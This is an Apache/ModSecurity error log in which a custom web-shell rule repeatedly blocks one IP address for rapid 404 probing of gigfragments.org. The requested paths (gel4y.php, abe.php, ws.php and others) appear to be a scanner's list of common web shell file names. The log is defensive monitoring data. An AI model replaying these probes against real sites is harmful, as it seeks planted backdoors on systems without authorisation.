[Fri Feb 27 23:43:04.639890 2026] [:error] [pid 52073:tid 52090] [client 52.138.25.109:39759] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaG7iIa650YPyxXVeRbj1QAAAY4"]
[Fri Feb 27 23:43:05.053824 2026] [:error] [pid 52073:tid 52085] [client 52.138.25.109:39784] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abe.php"] [unique_id "aaG7iYa650YPyxXVeRbj1wAAAYk"]
[Fri Feb 27 23:43:05.468140 2026] [:error] [pid 52073:tid 52092] [client 52.138.25.109:39801] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaG7iYa650YPyxXVeRbj2gAAAZA"]
[Fri Feb 27 23:43:05.883636 2026] [:error] [pid 62998:tid 63017] [client 52.138.25.109:39725] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaG7iVQeueXZDUmoLomTewAAAQ8"]
[Fri Feb 27 23:43:06.294564 2026] [:error] [pid 52073:tid 52094] [client 52.138.25.109:39685] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaG7ioa650YPyxXVeRbj3QAAAZI"]
[Fri Feb 27 23:43:06.713412 2026] [:error] [pid 52073:tid 52089] [client 52.138.25.109:39689] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aaG7ioa650YPyxXVeRbj4AAAAY0"]
[Fri Feb 27 23:43:07.137879 2026] [:error] [pid 54103:tid 54177] [client 52.138.25.109:39802] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aaG7i-vG4MPCmE0B2sDVuQAAAMY"]
[Fri Feb 27 23:43:07.564864 2026] [:error] [pid 56075:tid 56100] [client 52.138.25.109:39776] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aaG7i8KBhrfI6KNv9Rh6eQAAABY"]
[Fri Feb 27 23:43:07.977641 2026] [:error] [pid 52073:tid 52083] [client 52.138.25.109:39807] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aaG7i4a650YPyxXVeRbj6wAAAYc"]
[Fri Feb 27 23:43:08.417278 2026] [:error] [pid 56075:tid 56094] [client 52.138.25.109:39705] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aaG7jMKBhrfI6KNv9Rh6fAAAABA"]
[Fri Feb 27 23:43:08.830759 2026] [:error] [pid 52073:tid 52078] [client 52.138.25.109:39798] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aaG7jIa650YPyxXVeRbj8AAAAYI"]
[Fri Feb 27 23:43:09.240138 2026] [:error] [pid 52073:tid 52082] [client 52.138.25.109:39847] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aaG7jYa650YPyxXVeRbj8wAAAYY"]
[Fri Feb 27 23:43:09.666417 2026] [:error] [pid 52073:tid 52090] [client 52.138.25.109:39815] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aaG7jYa650YPyxXVeRbj9gAAAY4"]
[Fri Feb 27 23:43:10.084246 2026] [:error] [pid 52073:tid 52081] [client 52.138.25.109:39182] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hoot.php"] [unique_id "aaG7joa650YPyxXVeRbj-QAAAYU"]
[Fri Feb 27 23:43:10.502054 2026] [:error] [pid 56075:tid 56095] [client 52.138.25.109:39173] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaG7jsKBhrfI6KNv9Rh6hgAAABE"]
[Fri Feb 27 23:43:10.911062 2026] [:error] [pid 56075:tid 56096] [client 52.138.25.109:39767] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaG7jsKBhrfI6KNv9Rh6iQAAABI"]
[Fri Feb 27 23:43:11.327328 2026] [:error] [pid 56075:tid 56097] [client 52.138.25.109:39749] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaG7j8KBhrfI6KNv9Rh6igAAABM"]
[Fri Feb 27 23:43:11.779878 2026] [:error] [pid 56075:tid 56088] [client 52.138.25.109:39755] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dropdown.php"] [unique_id "aaG7j8KBhrfI6KNv9Rh6jgAAAAs"]
[Fri Feb 27 23:43:12.197226 2026] [:error] [pid 49306:tid 49326] [client 52.138.25.109:39724] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaG7kPnSUDZue59Px9t94AAAAVI"]
[Fri Feb 27 23:43:15.633432 2026] [:error] [pid 62998:tid 63019] [client 52.138.25.109:39210] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaG7k1QeueXZDUmoLomTfwAAARE"]
[Fri Feb 27 23:43:16.046146 2026] [:error] [pid 54101:tid 54121] [client 52.138.25.109:39757] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaG7lFY5qgRktcYTGFtj0wAAAc0"]
[Fri Feb 27 23:43:16.462432 2026] [:error] [pid 56075:tid 56079] [client 52.138.25.109:39754] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aaG7lMKBhrfI6KNv9Rh6nwAAAAI"]
[Fri Feb 27 23:43:16.929735 2026] [:error] [pid 49306:tid 49316] [client 52.138.25.109:39730] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/golden.php"] [unique_id "aaG7lPnSUDZue59Px9t97QAAAUg"]
[Fri Feb 27 23:43:17.340541 2026] [:error] [pid 49306:tid 49311] [client 52.138.25.109:39179] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/golden.php"] [unique_id "aaG7lfnSUDZue59Px9t98AAAAUM"]
[Fri Feb 27 23:43:17.755223 2026] [:error] [pid 56075:tid 56085] [client 52.138.25.109:39742] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/golden.php"] [unique_id "aaG7lcKBhrfI6KNv9Rh6pQAAAAg"]
[Fri Feb 27 23:43:18.165764 2026] [:error] [pid 49306:tid 49313] [client 52.138.25.109:39735] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/golden.php"] [unique_id "aaG7lvnSUDZue59Px9t99QAAAUU"]
[Fri Feb 27 23:43:18.575201 2026] [:error] [pid 49306:tid 49327] [client 52.138.25.109:39693] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aaG7lvnSUDZue59Px9t9-gAAAVM"]
[Fri Feb 27 23:43:18.993068 2026] [:error] [pid 62998:tid 63002] [client 52.138.25.109:39687] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aaG7llQeueXZDUmoLomThQAAAQE"]
[Fri Feb 27 23:43:19.401447 2026] [:error] [pid 54231:tid 54237] [client 52.138.25.109:39176] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aaG7l-Tvb5AeyJCdY7BPWwAAAEM"]
[Fri Feb 27 23:43:19.814354 2026] [:error] [pid 56075:tid 56077] [client 52.138.25.109:39698] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aaG7l8KBhrfI6KNv9Rh6rQAAAAA"]
[Fri Feb 27 23:43:20.236501 2026] [:error] [pid 62998:tid 63024] [client 52.138.25.109:39206] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aaG7mFQeueXZDUmoLomTiQAAARY"]
[Fri Feb 27 23:43:20.671853 2026] [:error] [pid 56075:tid 56101] [client 52.138.25.109:39211] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aaG7mMKBhrfI6KNv9Rh6sgAAABc"]
[Fri Feb 27 23:43:21.121943 2026] [:error] [pid 54101:tid 54112] [client 52.138.25.109:39778] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aaG7mVY5qgRktcYTGFtj2QAAAcQ"]
[Fri Feb 27 23:43:21.532320 2026] [:error] [pid 56075:tid 56095] [client 52.138.25.109:39726] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aaG7mcKBhrfI6KNv9Rh6uAAAABE"]
[Fri Feb 27 23:43:21.956402 2026] [:error] [pid 56075:tid 56097] [client 52.138.25.109:39717] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aaG7mcKBhrfI6KNv9Rh6vQAAABM"]
[Fri Feb 27 23:43:22.375342 2026] [:error] [pid 49306:tid 49330] [client 52.138.25.109:39213] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aaG7mvnSUDZue59Px9t9_QAAAVY"]
[Fri Feb 27 23:43:22.790133 2026] [:error] [pid 54101:tid 54126] [client 52.138.25.109:39183] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aaG7mlY5qgRktcYTGFtj2wAAAdI"]
[Fri Feb 27 23:43:23.218422 2026] [:error] [pid 56075:tid 56092] [client 52.138.25.109:39198] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geju.php"] [unique_id "aaG7m8KBhrfI6KNv9Rh6wgAAAA4"]
[Fri Feb 27 23:43:23.632403 2026] [:error] [pid 56075:tid 56088] [client 52.138.25.109:39846] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index1.php"] [unique_id "aaG7m8KBhrfI6KNv9Rh6xAAAAAs"]
[Fri Feb 27 23:43:24.045308 2026] [:error] [pid 49306:tid 49313] [client 52.138.25.109:39048] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index1.php"] [unique_id "aaG7nPnSUDZue59Px9t9_wAAAUU"]
[Fri Feb 27 23:43:24.456823 2026] [:error] [pid 52073:tid 52079] [client 52.138.25.109:39796] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index1.php"] [unique_id "aaG7nIa650YPyxXVeRbkBQAAAYM"]
[Fri Feb 27 23:43:24.885414 2026] [:error] [pid 62998:tid 63004] [client 52.138.25.109:39696] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index1.php"] [unique_id "aaG7nFQeueXZDUmoLomTjgAAAQI"]
[Fri Feb 27 23:43:25.295690 2026] [:error] [pid 54101:tid 54128] [client 52.138.25.109:39707] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaG7nVY5qgRktcYTGFtj3gAAAdQ"]
[Fri Feb 27 23:43:25.712361 2026] [:error] [pid 62998:tid 63014] [client 52.138.25.109:39691] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaG7nVQeueXZDUmoLomTkgAAAQw"]
[Fri Feb 27 23:43:26.157463 2026] [:error] [pid 54102:tid 54163] [client 52.138.25.109:39044] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaG7nni74D4fiYUm_GeZSQAAAJM"]
[Fri Feb 27 23:43:26.567183 2026] [:error] [pid 54101:tid 54124] [client 52.138.25.109:39697] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aaG7nlY5qgRktcYTGFtj4QAAAdA"]
[Fri Feb 27 23:43:26.988604 2026] [:error] [pid 49306:tid 49316] [client 52.138.25.109:39073] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaG7nvnSUDZue59Px9t-DgAAAUg"]
[Fri Feb 27 23:43:27.398293 2026] [:error] [pid 49306:tid 49313] [client 52.138.25.109:39168] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaG7n_nSUDZue59Px9t-EgAAAUU"]
[Fri Feb 27 23:43:27.816879 2026] [:error] [pid 52073:tid 52088] [client 52.138.25.109:39222] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaG7n4a650YPyxXVeRbkBgAAAYw"]
[Fri Feb 27 23:43:28.235647 2026] [:error] [pid 54103:tid 54192] [client 52.138.25.109:39849] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aaG7oOvG4MPCmE0B2sDVzgAAANU"]
[Fri Feb 27 23:43:28.652494 2026] [:error] [pid 56075:tid 56090] [client 52.138.25.109:39789] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaG7oMKBhrfI6KNv9Rh6xgAAAAw"]
[Fri Feb 27 23:43:29.104612 2026] [:error] [pid 56075:tid 56081] [client 52.138.25.109:39788] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaG7ocKBhrfI6KNv9Rh6ywAAAAQ"]
[Fri Feb 27 23:43:29.545383 2026] [:error] [pid 56075:tid 56092] [client 52.138.25.109:39918] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaG7ocKBhrfI6KNv9Rh6zwAAAA4"]
[Fri Feb 27 23:43:29.992970 2026] [:error] [pid 56075:tid 56098] [client 52.138.25.109:39770] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/news.php"] [unique_id "aaG7ocKBhrfI6KNv9Rh60gAAABQ"]
[Fri Feb 27 23:43:30.400825 2026] [:error] [pid 56075:tid 56077] [client 52.138.25.109:39203] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aaG7osKBhrfI6KNv9Rh62gAAAAA"]
[Fri Feb 27 23:43:30.817234 2026] [:error] [pid 56075:tid 56086] [client 52.138.25.109:39212] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aaG7osKBhrfI6KNv9Rh64QAAAAk"]
[Fri Feb 27 23:43:31.228303 2026] [:error] [pid 56075:tid 56080] [client 52.138.25.109:39680] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aaG7o8KBhrfI6KNv9Rh65AAAAAM"]
